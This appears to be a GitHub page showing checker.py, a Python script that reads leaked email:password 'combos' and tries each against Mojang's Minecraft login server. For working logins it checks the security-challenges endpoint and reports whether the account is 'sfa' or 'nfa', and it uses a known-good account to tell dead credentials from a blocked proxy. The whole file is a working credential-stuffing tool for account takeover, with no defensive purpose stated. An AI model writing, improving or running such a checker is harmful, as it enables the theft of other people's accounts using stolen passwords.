-
Notifications
You must be signed in to change notification settings - Fork 7
/
checker.py
44 lines (30 loc) · 1.48 KB
/
checker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
from requests import Session, exceptions
import json
working_acc = "INPUT A MINECRAFT ACCOUNT WHICH IS ALWAYS VALID"
sfa_url = 'https://api.mojang.com/user/security/challenges'
while True:
combo = input("Combo: ")
while ':' not in combo:
combo = input("Enter the account details in email:password format: ")
username = combo.split(':')[0]
password = combo.split(':')[1]
with requests.Session() as session:
response = session.post("https://authserver.mojang.com/authenticate", json={ 'agent' : {"name" : "Minecraft", "version" : 1}, 'username': username, 'password': password})
if response.status_code == 200:
data = response.json()
token = data['accessToken']
headers = {'Pragma': 'no-cache', "Authorization": f"Bearer {token}"}
z = session.get(url=sfa_url, headers=headers).text
if z == '[]':
print("sfa")
else:
print("nfa")
else:
email, pasi = working_acc.split(":")
with requests.Session() as session:
response = session.post("https://authserver.mojang.com/authenticate", json={ 'agent' : {"name" : "Minecraft", "version" : 1}, 'username': email, 'password': pasi})
if response.status_code == 200:
print("account invalid")
else:
print("Proxy got shadow banned")